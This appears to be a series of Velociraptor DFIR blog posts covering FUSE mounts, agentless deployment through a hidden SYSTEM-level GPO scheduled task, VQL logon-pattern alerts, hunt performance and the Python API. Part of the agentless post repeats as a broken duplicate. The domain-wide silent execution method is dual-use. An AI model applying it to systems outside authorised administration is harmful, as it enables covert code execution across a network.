Now the server will contain a cached copy of the VFS directory and can return it (just as in step 3 above).
The Velociraptor FUSE program on the workstation can return the directory listing to the Windows kernel and this will be fed back into the Windows Explorer. The end result is that Windows Explorer appears to be navigating the endpoint’s filesystem directly.

You can see this process in the screenshot below:

Image

Do not run the fuse API command as a different user to what is currently logged in (e.g. do not run as Administrator). If you do then you will not be able to see the FUSE drive in your user’s desktop session.

For example if you are logged in as user “Test”, then any FUSE drives created by Velociraptor running as user Test are only visible to user Test. If you run the above command as an elevated UAC prompt then user Test will be unable to see the new drive.

Running the FUSE program

On Windows filesystem in userspace is implemented by the WinFSP project. You will need to download and install it first.

We require an API key to use the fuse feature so generate one first on the server:

   $ velociraptor --config server.config.yaml \
        config api_client --name FUSE > api_client.yaml

Now simply copy the generate api_client.yaml file to the analyst’s workstation. You can mount any client’s VFS by simply specifying its client id and a drive letter to access it:

C:\Program Files\Velociraptor>Velociraptor.exe --api_config f:\api_client.yaml -v fuse q: C.8b6623b1d7c42adf
The service Velociraptor has been started.
[INFO] 2019-08-26T14:12:28Z Initiating VFSRefreshDirectory for /file/C:/Go/ (aff4:/clients/C.8b6623b1d7c42adf/flows/F.BLHUHJ0RDGCRU)
[INFO] 2019-08-26T14:12:28Z Flow for /file/C:/Go/ still outstanding (aff4:/clients/C.8b6623b1d7c42adf/flows/F.BLHUHJ0RDGCRU)
...

Simply press Ctrl-C to stop the FUSE program as any time.

Conclusions

The FUSE feature is a perfect example of a useful API program. The program fully automates the Velociraptor server - it received cached information about the client’s VFS status, and then automatically issues new collection requests as needed.

This kind of automated control of the Velociraptor server opens the door to many such applications. From automated response to remediation and automated evidence collection.

Some users has asked us what the difference between the FUSE program and other tools, e.g. F-Response which also create the illusion that the remote system is mounted on the analyst’s workstation. The main difference is that Velociraptor does not export the raw block device from the endpoint - it simply exports the files and directories we collected already. So for example, it is not possible to run a low level disk analysis system (such as X-Ways) on the mounted FUSE drive. However you can still run specialized file parsers (such as Kape or log2timeline) as long as they do not require access to the raw devices.

Agentless hunting with Velociraptor

Sat, 02 Mar 2019 04:10:06 +0000

There has been a lot of interest lately in Agentless hunting especially using PowerShell. There are many reasons why Agentless hunting is appealing - there are already a ton of endpoint agents and yet another one may not be welcome. Sometimes we need to deploy endpoint agents as part of a DFIR engagement and we may not want to permanently install yet another agent on end points.

This blog post explores an agentless deployment scenario, where we do not want to install Velociraptor permanently on the end point, but rather push it to end points temporarily to collect specific artifacts. The advantage of this method is that there are no permanent changes to the end point, as nothing is actually installed. However, we do get the full power of Velociraptor to collect artifacts, hunt for evil and more...

Agentless Velociraptor

Normally when deploying Velociraptor as a service, the binary is copied to the system and a service is installed. The service ensures that the binary is restarted when the system reboots, and so Velociraptor is installed on a permanent basis.

However in the agentless deployment scenario we simply run the binary from a network share using group policy settings. The downside to this approach is that the endpoint needs to be on the domain network to receive the group policy update (and have the network share accessible) before it can run Velociraptor. When we run in Agentless mode we are really after collecting a bunch of artifacts via hunts and then exiting

the agent will not restart after a reboot. So this method is suitable for quick hunts on corporate (non roaming) assets.

In this post I will use Windows 2019 Server but this should also work on any older version.

The first step is to create a network share with the Velociraptor binary and its configuration file. We will run the binary from the share in this example, but for more reliability you may want to copy the binary into e.g. a temp folder on the end point in case the system becomes disconnected from the domain. For quick hunts though it should be fine.

We create a directory on the server (I will create it on the domain controller but you should probably not do that - find another machine to host the share).

image

I created a directory C:\\Users\\Deployment and ensured that it is read only. I have shared the directory as the name Deployment.

I now place the Velociraptor executable and client config file in that directory and verify that I can run the binary from the network share. The binary should be accessible via `\\\\DC\Deployment\velociraptor.exe`:

image

Creating the group policy object.

Next we create the group policy object which forces all domain connected machines to run the Velociraptor client. We use the Group Policy Management Console:

image

Select the OU or the entire domain and click "Create New GPO":

image

Now right click the GPO object and select "Edit":

image

We will create a new scheduled task. Rather than schedule it at a particular time, we will select to run it immediately. This will force the command to run as soon as the endpoint updates its group policy settings (i.e. we do not want to wait for the next reboot of the endpoint).

image

Next we give the task a name and a description. In order to allow Velociraptor to access raw devices (e.g. to collect memory or NTFS artifacts) we can specify that the client will run at NT_AUTHORITY\\SYSTEM privileges, and run without any user being logged on. It is also worth ticking the "hidden" checkbox here to prevent a console box from appearing.

image

Next click the Actions tab and add a new action. This is where we launch the Velociraptor client. The program will simply be launched from the share (i.e. \\\\\\\\DC\\Deployment\\velociraptor.exe) and we give it the arguments allowing it to read the provided configuration file (i.e. --config \\\\\\\\DC\\Deployment\\client.config.yaml client -v).

image

In the setting tab we can control how long we want the client to run. For a quick hunt this may be an hour or two but maybe for a DFIR engagement it might be a few days. The GPO will ensure the client is killed after the allotted time.

image

Once the GPO is installed it becomes active for all domain machines. You can now schedule any hunts you wish using the Velociraptor GUI. When a domain machine refreshes its group policy it will run the client, which will enroll and immediately participate in any outstanding hunts - thus collecting and delivering its artifacts to the server. After the allotted time has passed, the client will shut down without having installed anything on the endpoint.

You can force a group policy update by running the gpupdate program. Now you can verify that Velociraptor is running:

image

Persistence

Note that when running Velociraptor in agent less mode you probably want to configure it so that the writeback file is written to the temp directory. The writeback file is how the client keeps track of its key material (and identity). The default is to store it in the client's installation folder, but you should probably change it in the client's config file:

Client:
  writeback_windows: $TEMP\\velociraptor.writeback.yaml

The file will remain in the client's temp directory so if you ever decide to run the agentless client again (by pushing another group policy) the client id remains the same.

Agentless hunting with Velociraptor

Sat, 02 Mar 2019 04:10:06 +0000

Agentless Velociraptor

the agent will not restart after a reboot. So this method is suitable for quick hunts on corporate (non roaming) assets.

In this post I will use Windows 2019 Server but this should also work on any older version.

We create a directory on the server (I will create it on the domain controller but you should probably not do that - find another machine to host the share).

I created a directory C:\\Users\\Deployment and ensured that it is read only. I have shared the directory as the name Deployment.

Creating the group policy object.

Next we create the group policy object which forces all domain connected machines to run the Velociraptor client. We use the Group Policy Management Console:

Select the OU or the entire domain and click "Create New GPO":

Now right click the GPO object and select "Edit":

You can force a group policy update by running the gpupdate program. Now you can verify that Velociraptor is running:

Persistence

Client:
  writeback_windows: $TEMP\\velociraptor.writeback.yaml

The file will remain in the client's temp directory so if you ever decide to run the agentless client again (by pushing another group policy) the client id remains the same.

Alerting on event patterns

Thu, 14 Feb 2019 04:10:06 +0000

We have shown in earlier posts how Velociraptor uses VQL to define event queries that can detect specific conditions. These conditions can be used to create alerts and escalation actions.

One of the most useful types of alerts is detecting a pattern of activity. For example we can detect failed and successful login attempts separately, but it is the specific pattern of events (say 5 failed login attempts followed by a successful one) that is interesting from a detection point of view.

This post illustrates how this kind of temporal correlation can be expressed in a VQL query. We then use it to create alerts for attack patterns commonly seen by intrusions.

Event Queries

Velociraptor executes queries written in the Velociraptor Query Language (VQL). The queries can be executed on the client, and their results streamed to the server. Alternatively the queries may be executed on the server and process the result of other queries which collected information from the client.

A VQL query does not have to terminate at all. VQL queries draw their data from a VQL plugin which may simply return data rows at different times. For example, consider the following query:

SELECT EventData as FailedEventData,
       System as FailedSystem
FROM watch_evtx(filename=securityLogFile)
WHERE System.EventID = 4625

This query sets up a watcher on a windows event log file. As new events are written to the log file, the query will produce those events as new rows. The rows will then be filtered so we only see event id 4625 (Failed logon event).

Velociraptor can implement event queries on the client or on the server. For example, say we wanted to collect all failed event logs with the query above. We would write an artifact that encapsulates this query:

name: Windows.System.FailedLoginAttempts
parameters:
  - name: securityLogFile
    default: C:/Windows/System32/Winevt/Logs/Security.evtx
sources:
  - queries:
     - SELECT EventData as FailedEventData,
           System as FailedSystem
       FROM watch_evtx(filename=securityLogFile)
       WHERE System.EventID.Value = 4625

Then we simply add that artifact to the monitored artifact list in the config file:

Events:
  artifacts:
  - Generic.Client.Stats
  - Windows.System.FailedLoginAttempts
  version: 2
  ops_per_second: 10

The monitored artifacts are run on all clients connected to the server. The output from these queries is streamed to the server and stored in the client's monitoring VFS directory.

Lets test this artifact by trying to run a command using the runas windows command. We will be prompted for a password but failing to give the correct password will result in a login failure event:

After a few seconds the event will be written to the windows event log and the watch_evtx() VQL plugin will emit the row - which will be streamed to the VFS monitoring directory on the server, where it can be viewed in the GUI:

image

The above screenshot shows that the monitoring directory now contains a subdirectory named after the artifact we created. Inside this directory are CSV files for each day and every failed logon attempt is detailed there.

Time correlation

While it is interesting to see all failed logon attempts in many cases these events are just noise. If you put any server on the internet (e.g. an RDP or SSH server) you will experience thousands of brute force attempts to break in. This is just the nature of the internet. If your password policy is strong enough it should not be a big problem.

However, what if someone guesses the password for one of your accounts? Then the activity pattern is more like a bunch of failed logons followed by a successful logon for the same account.

This pattern is way more interesting than just watching for a series of failed logons (although that is also good to know).

But how do we write a query to detect this? Essentially the query needs to look back in time to see how many failed logon attempts preceded each successful logon.

This is a typical problem which may be generalized as followed:

::: {.admonition} Goal

We want to detect an event A proceeded by a specified number of events B within a defined time window. :::

This problem may be generalized for example:

Detect a user account created and deleted within a short time window.
A beacon to a specific DNS followed by at least 5 beacons within the last 5 hours to same DNS (Event A and B are the same).

The fifo() plugin

How shall we write the VQL query to achieve this? This is made possible by use of the fifo() plugin. As its name suggests, the FIFO plugin acts as a First In First Out cache for event queries.

image

The plugin is given a subquery which is also a VQL query generating its own events. As the subquery generates events, each event is kept in the fifo plugin's cache in a first in first out manner. Events are also expired if they are too old.

We typically store the query in a variable. Each time the variable is queried the cache is returned at once. To illustrate how this works consider the following query:

LET fifo_events = SELECT * FROM fifo(
  max_rows=5,
  query={
     SELECT * from watch_evtx(filename=securityLogFile)
     WHERE System.EventID.Value = 4625
   })

SELECT * FROM foreach(
   row={
     SELECT * FROM clock(period=60)
   },
   query={
     SELECT * from fifo_events
   })

The first query is stored into the fifo_events variable. When it is first defined, the fifo() VQL plugin launches its subquery and simply collects its output into its local cache in a fifo manner. This will essentially keep the last 5 rows in its cache.

The second query runs the clock() plugin to receive a clock event every 60 seconds. For each of these events, we select from the fifo_events variable - that is we select the last 5 failed events.

You can see that this allows us to query the last 5 events in the fifo cache for every clock event. If we now replace the clock event with a successful logon event this query will do exactly what we want:

# This query will generate failed logon events - one per row, as
# they occur.
- LET failed_logon = SELECT EventData as FailedEventData,
     System as FailedSystem
  FROM watch_evtx(filename=securityLogFile)
  WHERE System.EventID.Value = 4625

# This query will create a fifo() to contain the last 5 failed
# logon events.
- LET last_5_events = SELECT FailedEventData, FailedSystem
      FROM fifo(query=failed_logon,
                max_rows=5,
                max_age=atoi(string=failedLogonTimeWindow))

# This query simply generates successful logon events.
- LET success_logon = SELECT EventData as SuccessEventData,
     System as SuccessSystem
  FROM watch_evtx(filename=securityLogFile)
  WHERE System.EventID.Value = 4624

# For each successful event, we select the last 5 failed events
# and count them (using the group by). If the count is greater
# than 3 then we emit the row as an event.
- SELECT * FROM foreach(
    row=success_logon,
    query={
     SELECT SuccessSystem.TimeCreated.SystemTime AS LogonTime,
            SuccessSystem, SuccessEventData, FailedEventData,
            FailedSystem, count(items=SuccessSystem) as Count
     FROM last_5_events
     WHERE FailedEventData.SubjectUserName = SuccessEventData.SubjectUserName
     GROUP BY LogonTime
    })  WHERE Count > 3

The above query simply watches the event log for failed logins and populates a fifo() with the last 5 failed events. At the same time we monitor the event log for successful logon events. If we see a successful event, we go back and check the last 5 failed events and count them.

If the failed events are for the same user and there are more than 3 then we report this as an event. We now have a high value event.

Let's see what it looks like when such an event is triggered:

image

Just like before, the events are written to a daily CSV log, one event per CSV row. It is a bit hard to see in the GUI since there is a lot of data, (We probably need some GUI work to improve this) but there is a single row emitted for each event, and the FailedEventData column contains a list of all the failed login attempts stored in the fifo().

Server side queries.

We have seen how the fifo() plugin can be used in the monitoring artifact itself to have the client detect its own events. However, the endpoint is usually only able to see its own events in isolation. It would be nice to be able to detect patterns only evident by seeing concerted behaviour from multiple endpoints at the same time.

For example, consider the pattern of an attacker who compromised domain credentials running multiple PowerShell Remoting commands across the entire domain. A command like:

PS C:\WINDOWS\system32> Invoke-Command –ComputerName testcomputer -ScriptBlock {Hostname}
TestComputer

This command will generate multiple event log entries, including event 4624 (logon) on each host. While in isolation, on each individual endpoint this event is not suspicious, we might consider seeing this event repeated within a short time across the domain suspicious.

To set that up we would run the following artifact as a monitoring artifact on all endpoints:

name: Windows.Event.SuccessfulLogon
sources:
 - queries:
   - SELECT EventData as SuccessEventData,
        System as SuccessSystem
     FROM watch_evtx(filename=securityLogFile)
     WHERE System.EventID.Value = 4624

On the server we simple install a watcher on all monitoring events from this artifact and feed the result to the fifo(). This fills the fifo() with the last 500 successful logon events from all clients within the last 60 seconds:

LET last_successful_logons = SELECT * FROM fifo(
   max_rows=500,
   max_time=60,
   query={
     SELECT * FROM watch_monitoring(
        artifact="Windows.Event.SuccessfulLogon")
   })

By counting the number of such unique events we can determine if there were too many successful logon events from different hosts within the last minute. This might indicate a scripted use of powershell remoting across the domain.

Conclusions

In this post we have seen how to write artifacts which capture a time ordered pattern of behavior. This technique is useful to codify common attack techniques. The technique is general and we can use the same idea on server side queries to correlate events from many hosts at the same time.

Velociraptor Performance

Sun, 10 Feb 2019 04:10:06 +0000

We are often asked how many resources does a Velociraptor deployment use? How should one spec a machine for a Velociraptor deployment?

We have previously said that one of the reasons we developed Velociraptor was to improve on the performance of GRR which was not scalable for our use case.

We have been working with the team at Klein & Co. on several intrusions over the past several months, which are providing valuable opportunities to deploy and test Velociraptor in a range of real world investigation scenarios. Through this process, we have been able to extend Velociraptor’s functionality and prove its performance on real client networks.

I thought I would write a short blog post to show how Velociraptor performed on such a recent engagement. In this engagement we deployed Velociraptor on AWS and selectively pushed the client to around 600 machines running a mix of MacOS and Windows.

This post will hopefully give readers some idea of how scalable the tool is and the typical workloads we run with it.

The Server

Since this is a smallish deployment we used a single VM with 32Gb of RAM and 8 cores. This was definitely over speced for this job as most of the time the server consumed less than 10% of one core:

top - 06:26:13 up 29 days,  2:31,  5 users,  load average: 0.00, 0.01, 0.05
Tasks: 214 total,   1 running, 213 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.5 us,  0.1 sy,  0.0 ni, 99.4 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem:  32948060 total, 14877988 used, 18070072 free,   411192 buffers
KiB Swap:        0 total,        0 used,        0 free. 13381224 cached Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
19334 root      20   0 1277924  94592  12616 S   3.0  0.3   9:11.03 ./velociraptor --config server.config.yaml frontend
    8 root      20   0       0      0      0 S   0.3  0.0   7:16.30 [rcuos/0]

You can see that the server consumed about 95mb when operating normally and CPU usage was around 3% of one core.

For this engagement we knew that we would be collecting a lot of data and so we specified a large 500gb volume.

Hunt performance

Velociraptor works by collecting "Artifacts" from clients. Artifacts are simply encapsulated VQL queries which specify something to search for on the endpoint. Without going into the details of this engagement, we can say that we collected typical artifacts for a DFIR/Forensic investigation engagement. In the following I want to explore how well hunts performed for the following typical artifacts in order of complexity:

Search the filesystem for a file glob.
Download the $MFT from the root filesystem.
Run a Yara scan over every file on all mounted filesystems.

We ran these artifact collections over a large number of hosts (between 400-500) that fell within the scope of our engagement. Although the number of hosts is not huge, we hope to demonstrate Velociraptor's scalability.

Searching for a file glob

One of the simplest and most common tasks in DFIR is to search the filesystem for a glob based on filename. This requires traversing directories and matching the filename based on the user specified expression - for example, find all files with the extension *.exe within the C:\\Users directory.

Velociraptor can glob over the entire filesystem or over a limited set of files. Typically a full filesystem glob can take some minutes on the endpoint (it is equivalent to running the find unix command) and touches every file. We typically try to limit the scope of the glob as much as possible (e.g. only search system directories) but sometimes it is nice to run a glob over all mounted filesystems to make sure we don't miss anything. In this case we opted for a full filesystem scan.

We searched the entire deployment using a hunt (The hunt is constructed using the File Finder flow in the GUI) which just launches the artifact collection. Therefore the horizontal distance between the red and blue dot, in the graph below, represents the total time taken by the host to collect the artifact.

image

The graph shows how many hosts were recruited into this hunt on the Y axis. The X axis show the number of seconds since the hunt launch. The red points indicate the time when clients started their collection, while the blue dots indicate the time when the client completed the artifact collection and the server saved its results.

The inset shows the same data but zoomed into the time origin.

Velociraptor improves and builds on the initial ideas implemented within the GRR DFIR tool, and so it is interesting to compare this graph to a typical graph produced by GRR's hunt (reproduced from this paper).

image

The first noticeable difference is that Velociraptor clients complete their collection much faster than GRR's (the horizontal distance between the red and blue dots represents the time between when the collection is issued and the time it completes).

The main reason for this is that GRR's communication protocol relies on polling (by default every 10 minutes). Also, since hunting is so resource intensive in GRR, the clients actually poll the hunt foreman task every 30 minutes by default. This means that GRR clients typically have to wait up to 30 minutes to run a hunt!

The second difference is the slope of the line around the start of the hunt. GRR implements a hunt client rate - clients are recruited into the hunt slowly (by default 20 per minute) in order to limit the load on the frontends. Unlike GRR, Velociraptor does not implement a hunt rate since the Velociraptor frontend load is controlled by limiting concurrency instead (more on this below).

This means that Velociraptor can deliver useful results within seconds of the hunt starting. We see that this particular filename search typically takes 25-30 seconds and we see about 200 clients completing the hunt within this time consistently. The remaining clients are probably not online and they receive the hunt as they join the network. This makes Velociraptor hunts far more responsive and useful.

You might also notice a few outliers which spend a long time collecting this artifact - these machines have probably been shutdown or suspended while collecting this artifact.

MFT Download

A common technique is to examine the Master File Table (MFT) of an NTFS volume. By forensically analyzing the MFT it is possible to detect deleted files, time stomping and build a timeline of the system using tools like analyseMFT.py or ntfswalker .

In this case we decided to collect the $MFT from all the Windows hosts and post-process them offline. Typically the MFT is around 300-400mb and could be larger. Therefore this artifact collection is about performance downloading large quantities of data from multiple hosts quickly.

Velociraptor can read the raw NTFS partition and therefore read the $MFT file. We wrote the following artifact to just fetch the $MFT file:

name: Artifact.NTFS.MFT_puller
description: |
   Uses an NTFS accessor to pull the $MFT

parameters:
- name: path
  default: \\.\C:\$MFT

sources:
- precondition:
    SELECT OS From info() where OS = 'windows'
  queries:
  - SELECT upload(file=path, accessor="ntfs") as Upload from scope()

Here is the timing graph for this artifact collection:

image

This collection takes a lot longer on each host as clients are uploading around 400mb each to the server, but our server was in the cloud so it had fast bandwidth. Again we see the hosts that are currently up being tasked within seconds, while as hosts come online gradually we see them receiving the hunt and a few minutes later uploading their $MFT file.

Was the frontend loaded at the time? I took a screenshot of top on the server seconds after launching the hunt:

We can see that the CPU load is trivial (4.7%) but the major impact of a heavy upload collection is the memory used (about 4.7gb - up from about 100mb). The reason is that each client is posting a large buffer of data (several mb) simultaneously. The server needs to buffer the data before it can decrypt and process it which takes memory.

In order to limit the amount of memory used, Velociraptor limits the total number of connections it is actively processing to 8-10 concurrent connections. By carefully managing concurrency we are able to keep a limit on server memory use. We may lower the total memory use by reducing the concurrency (and therefore maybe fit into a smaller VM). Clients simply wait until the server is able to process their uploaded buffers. If the server takes too long, the clients automatically back off and retry to send the same buffer.

Yara scan over the entire filesystem

The final example of a very intense artifact is to scan the entire filesystem with a YARA rule. This not only requires traversing the entire filesystem, but also opening each file and searching it.

One of the dangers with such a scan is that users will be negatively impacted as their workstations start to read every file on disk! The main resources a YARA scan consumes is disk IO and CPU load. Users might complain and blame Velociraptor for their machine being slow (disk IO may negatively affect performance much more than CPU load!).

However in this case, we don't care how long we take to scan the user's system, as long as every file was scanned, and as long as the endpoint is not overloaded and the user's work is not affected. Luckily Velociraptor allows us to specify the trade-off between collection time and collection intensity.

Velociraptor rate limiting

Velociraptor controls client side load by rate limiting the client's VQL query. Each VQL plugin consumes an "operation" from the throttler. We define an "operation" as a notional unit of work - the heavier the VQL plugin's work, the more operations are consumed. For example for yara scanning, an operation is defined as 1mb of scanned data, or a single file if the file is smaller.

When a user issues an artifact collection task, they may limit the rate at which operations are performed by the client. The Velociraptor agent then limits the operations to the specified rate. For example, if the rate is 20 ops/sec then the client will scan less than 20mb per seconds.

Other collections may run concurrently at different rates, though; The client is not blocked while performing a single artifact collection. This makes sense since we often need to collect a low priority artifact slowly, but we do not want this to compromise rapid response to that host.

For example, one of our targets was a server with large attached storage. We ran the Yara scan over this system, scanning the first 100Mb of each file, at a rate of 50 ops/sec. In total we scanned 1.5Tb of files and the scan took 14 hours (for a total scan rate of 30Mb/sec).

Velociraptor by default collects the Generic.Client.Stats artifact, which samples the client's CPU utilization and memory usage every 10 seconds. These samples are streamed to the server and form a record of the client's footprint on the endpoint. We can use this data to visualize the effects of performing the yara scan on this host:

image

Above is the CPU usage on that particular server over the course of a full day (24 hours). The 14 hour yara scan is clearly visible but at no time is CPU utilization exceeding 30% of one core. With endpoint disk IO limited to about 30mb/sec we have achieved a balance between performance and endpoint load we are happy with.

image

We can see that most endpoints take approximately an hour to perform this yara scan, but server load is minimal since the server simply stores the results of the scans while doing minimal processing.

Conclusions

This post provides some typical numbers for Velociraptor performance in typical DFIR engagements. We also covered some considerations and trade-offs we must think about when issuing large artifact collections. Readers can use these as a guideline in their own deployments - please comment below about your experiences. Velociraptor is under very active development and this feedback is important to ensure we put in place the mechanisms to account for more use cases.

Thanks

We would like to thank the folk at Klein&Co for their wonderful support and assistance in Velociraptor development.

The Velociraptor Python API

Sat, 09 Feb 2019 04:10:06 +0000

The Python bindings described in this page have now moved to https://github.com/Velocidex/pyvelociraptor/

Velociraptor is very good at collecting artifacts from endpoints. However, in modern DFIR work, the actual collection is only the first step of a much more involved process. Typically we want to post process data using more advanced data mining tools (such as data stacking). Velociraptor usually is only a part of a wider solution which might include a SIEM and SOC integration.

In order to facilitate interoperability with other tools, Velociraptor now offers an external API. The API is offered via gRPC so it can be used in any language which gRPC supports (e.g. Java, C++, Python etc). In this blog post we illustrate the Python API but any language should work.

The Velociraptor API Server

The API server exposes an endpoint ready to accept gRPC connections. By default the API server listen only on the loopback interface (127.0.0.1) but it is easy to change to be externally accessible if you need by changing the server.config.yaml file:

API:
  bind_address: 127.0.0.1
  bind_port: 8001

Client programs simply connect directly to this API and call gRPC methods on it.

The connection is encrypted using TLS and authenticated using mutual certificates. When we initially created the Velociraptor configuration file, we created a CA certificate and embedded it in the server.config.yaml file. It is this CA certificate which is used to verify that the certificate each end presents was issued by the Velociraptor CA.

If you need to have extra security in your environment you should keep the original server.config.yaml file generated in an offline location, then deploy a redacted file (without the CA.private_key value) on the server. This way api client certificates can only be issued offline.

Before the client may connect to the API server they must have a certificate issued by the Velociraptor CA. This is easy to generate:

$ velociraptor --config server.config.yaml \
     config api_client --name Fred > api_client.yaml

Will generate something like:

ca_certificate: |
  -----BEGIN CERTIFICATE-----
  MIIDITCCAgmgAwIBAgIRAI1oswXLBFqWVSYZx1VibMkwDQYJKoZIhvcNAQELBQAw
  -----END CERTIFICATE-----
client_cert: |
  -----BEGIN CERTIFICATE-----
  2e1ftQuzHGD2XPquqfuVzL1rtEIA1tiC82L6smYbeOe0p4pqpsHN1sEDkdfhBA==
  -----END CERTIFICATE-----
client_private_key: |
  -----BEGIN RSA PRIVATE KEY-----
  sVr9HvR2kBzM/3yVwvb752h0qDOYDfzLRENjA7dySeOgLtBSvd2gRg==
  -----END RSA PRIVATE KEY-----
api_connection_string: 127.0.0.1:8001
name: Fred

The certificate generated has a common name as specified by the --name flag. This name will be logged in the server's audit logs so you can use this to keep track of which programs have access. This file keeps both private key and certificate as well as the CA certificate which must be used to authenticate the server in a single file for convenience.

Using the API from Python

Although the API exposes a bunch of functions used by the GUI, the main function (which is not exposed through the GUI) is the Query() method. This function simply executes one or more VQL queries, and streams their results back to the caller.

The function requires an argument which is a protobuf of type VQLCollectorArgs:

VQLCollectorArgs:
     env:  list of VQLEnv(string key, string value)
     Query: list of VQLRequest(string Name, string VQL)
     max_row: int
     max_wait: int
     ops_per_second: float

This very simple structure allows the caller to specify one or more VQL queries to run. The call can set up environment variables prior to the query execution. The max_row and max_wait parameters indicate how many rows to return in a single result set and how long to wait for additional rows before returning a result set.

The call simply executes the VQL queries and returns result sets as VQLResponse protobufs:

VQLResponse:
   Response: json encoded string
   Columns: list of string
   total_rows: total number of rows in this packet

The VQL query may return many responses - each represents a set of rows. These responses may be returned over a long time, the API call will simply wait until new responses are available. For example, the VQL may represent an event query - i.e. watch for the occurrence of some event in the system - in this case it will never actually terminate, but keep streaming response packets.

How does this look like in code?

The following will cover an example implementation in python. The first step is to prepare credentials for making the gRPC call. We parse the api_config yaml file and prepare a credential object:

config = yaml.load(open("api_client.yaml").read())
creds = grpc.ssl_channel_credentials(
     root_certificates=config["ca_certificate"].encode("utf8"),
     private_key=config["client_private_key"].encode("utf8"),
     certificate_chain=config["client_cert"].encode("utf8"))

options = (('grpc.ssl_target_name_override', "VelociraptorServer",),)

Next we connect the channel to the API server:

with grpc.secure_channel(config["api_connection_string"],
                         creds, options) as channel:
    stub = api_pb2_grpc.APIStub(channel)

The stub is the object we use to make calls with. We can then issue our call:

request = api_pb2.VQLCollectorArgs(
         Query=[api_pb2.VQLRequest(
             VQL=query,
         )])

for response in stub.Query(request):
    rows = json.loads(response.Response)
    for row in rows:
        print(row)

We issue the query and then just wait for the call to generate response packets. Each packet may contain several rows which will all be encoded as JSON in the Response field. Each row is simply a dict with keys being the column names, and the values being possibly nested dicts or simple data depending on the query.

What can we do with this?

The Velociraptor API is deliberately open ended - meaning we do not pose any limitations on what can be done with it. It is conceptually a very simple API - just issue the query and look at the results, however this makes it extremely powerful.

We already have a number of very useful server side VQL plugins you can use. We also plan to add a number of other plugins in future -this means that the Velociraptor API can easily be extended in a backwards compatible way by simply adding new VQL plugins. New queries can do more, without breaking existing queries.

Post process artifacts

This is the most common use case for the API. Velociraptor deliberately does not do any post processing on the server - we don't want to slow the server down by making it do more work than necessary.

But sometimes users need to do some more with the results - for example upload to an external system, check hashes against Virus Total, and even initiate an active response like escalation or disruption when something is detected.

In a recent engagement we needed to collect a large number of $MFT files from many endpoints. We wanted to analyze these using external tools like analyseMFT.py.

We wrote a simple artifact to collect the MFT:

name: Windows.Upload.MFT
description: |
   Uses an NTFS accessor to pull the $MFT

parameters:
  - name: path
    default: \\.\C:\$MFT

sources:
  - precondition:
      SELECT OS From info() where OS = 'windows'

    queries:
    - select upload(file=path, accessor="ntfs") as Upload from scope()

We then created a hunt to collect this artifact from the machines of interest. Once each $MFT file is uploaded we need to run analyseMFT.py to parse it:

QUERY="""
  SELECT Flow,
         file_store(path=Flow.FlowContext.uploaded_files) as Files
  FROM  watch_monitoring(artifact='System.Flow.Completion')
  WHERE 'Windows.Upload.MFT' in Flow.FlowContext.artifacts
"""

with grpc.secure_channel(config["api_connection_string"],
                         creds, options) as channel:
    stub = api_pb2_grpc.APIStub(channel)
    request = api_pb2.VQLCollectorArgs(
        Query=[api_pb2.VQLRequest(
            VQL=QUERY,
        )])

    for response in stub.Query(request):
        rows = json.loads(response.Response)
        for row in rows:
            for file_name in row["Files"]:
                 subprocess.check_call(
                    ["analyseMFT.py", "-f", file_name,
                     "-o", file_name+".analyzed"])

The previous code sets up a watcher query which will receive every completed flow on the server which collected the artifact "Windows.Upload.MFT" (i.e. each completed flow will appear as a row to the query).

We can have this program running in the background. We can then launch a hunt collecting the artifact, and the program will automatically process all the results from the hunt as soon as they occur. When new machines are turned on they will receive the hunt, have their $MFT collected and this program will immediately process that.

Each flow contains a list of files that were uploaded to it. The file_store() VQL function reveals the server's filesystem path where the files actually reside. The server simply stores the uploaded files on its filesystem since Velociraptor does not use a database (everything is a file!).

The python code then proceeds to launch the analyseMFT.py script to parse the $MFT.

The nice thing with this scheme is that the analyseMFT.py is running in its own process and can be managed separately to the main Velociraptor server (e.g. we can set its execution priority or even run it on a separate machine). The Velociraptor server does not actually need to wait for post processing nor will the post processing affect its performance in any way. If the analyseMFT.py script takes a long time, it will just fall behind but it eventually will catch up. In the meantime, the Velociraptor server will continue receiving the uploads regardless.

The above example sets up a watcher query to receive flow results in real time, but you can also just process the results of a specific hunt completely using a query like:

SELECT Flow, file_store(path=Flow.FlowContext.uploaded_files) as Files
FROM hunt_flows(hunt_id=huntId)

Conclusions

The Velociraptor python API opens up enormous possibilities for automating Velociraptor and interfacing it with other systems. Combining the power of VQL and the flexibility (and user familiarity) of Python allows users to build upon Velociraptor in a flexible and creative way. I am very excited to see what the community will do with this feature - I can see integration with ELK, BigQuery and other data analytic engines being a valuable use case.

Please share your experiences in the comments or on the mailing list at velociraptor-discuss@groups.google.com.

Deploying Velociraptor with OAuth SSO

Sun, 23 Dec 2018 04:10:06 +0000

In the previous post we saw how to set up Velociraptor's GUI over SSL. This is great, but we still need to create users and assign them passwords manually. The trouble with user account management is that we can not enforce 2 factor authentication, or any password policies or any of the usual enterprise requirements for user account management. It is also difficult for users to remember yet another password for a separate system, and so might make the password easily guessable.

Most enterprise systems require an SSO mechanism to manage user accounts and passwords. Manual user account management simply does not scale!

In this post we discuss how to enable Google's SSO authentication for Velociraptor identity management.

OAuth Identity management

Velociraptor can use Google's oauth mechanism to verify a user's identity. This requires a user to authenticate to Google via their usual mechanism - if their account requires 2 factor authentication, then users need to log in this way.

Once the user authenticates to Google, they are redirected back into the Velociraptor application with a token that allows the application to request information about the user (for example, the username or email address).

OAuth is an authentication protocol. This means Velociraptor can be pretty confident the user is who they claim they are. This does not automatically grant them access to the application! A Velociraptor administrator must still manually grant them access before a user may log in.

Before we can use Google for Authentication, we need to register our Velociraptor deployment as an OAuth App with Google. Unfortunately Google is not known for having intuitive and easy to follow processes so actually doing this is complicated and bounces through many seemingly unrelated Google products and services. This post attempts to document this process at it exists in this time.

For our example we assume that our server is located at https://velociraptor.rekall-innovations.com as we continue on from our example in the last post (i.e. it is already configured to use SSL).

Registering Velociraptor as an OAuth application

The first step is to register Velociraptor as an OAuth app. We do this by accessing the Google cloud console at https://console.cloud.google.com . You will need to set up a cloud account first and create a cloud project. Although in this example we do not necessarily need to host our application on Google cloud or have anything to do with Google cloud, OAuth seems to exist within the Google cloud product.

